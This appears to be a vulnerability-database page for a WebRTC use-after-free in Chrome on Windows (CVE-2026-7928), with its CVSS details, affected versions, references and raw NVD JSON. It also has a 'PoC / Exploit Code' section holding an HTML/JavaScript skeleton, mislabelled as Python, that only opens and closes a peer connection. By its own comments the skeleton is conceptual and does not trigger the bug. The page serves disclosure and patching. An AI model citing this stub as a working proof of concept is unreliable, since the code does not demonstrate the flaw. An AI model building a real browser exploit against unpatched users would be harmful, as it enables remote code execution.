CVE-2026-7928

Description

Use after free in WebRTC in Google Chrome on Windows prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96 (Windows)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-7928 (Conceptual) -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7928 PoC</title>
</head>
<body>
<script>
// Simulation of WebRTC UAF trigger
// Note: Actual exploit requires specific heap grooming and memory layout
try {
    const pc1 = new RTCPeerConnection();
    const pc2 = new RTCPeerConnection();
    
    // Hypothetical trigger sequence causing UAF
    pc1.onicecandidate = (e) => {
        // Manipulate object to trigger use after free
        console.log("[+] Candidate triggered");
    };
    
    // Create data channel to manipulate internal state
    const dc = pc1.createDataChannel("chat");
    
    // Force cleanup and reuse (Conceptual)
    // In a real exploit, this section would contain ROP chains and shellcode
    setTimeout(() => {
        pc1.close();
        // Attempt reuse of freed memory
        console.log("[!] Potential UAF point reached");
    }, 100);
    
} catch(e) {
    console.log("[-] Error triggering PoC: " + e);
}
</script>
<h1>CVE-2026-7928 PoC Test</h1>
<p>Check console for activity. This is a conceptual skeleton.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7928
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7928
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7928/
[4] VulDB https://vuldb.com/cve/CVE-2026-7928
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/504612429

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7928", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:41.140", "lastModified": "2026-05-06T23:37:10.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebRTC in Google Chrome on Windows prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/504612429", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}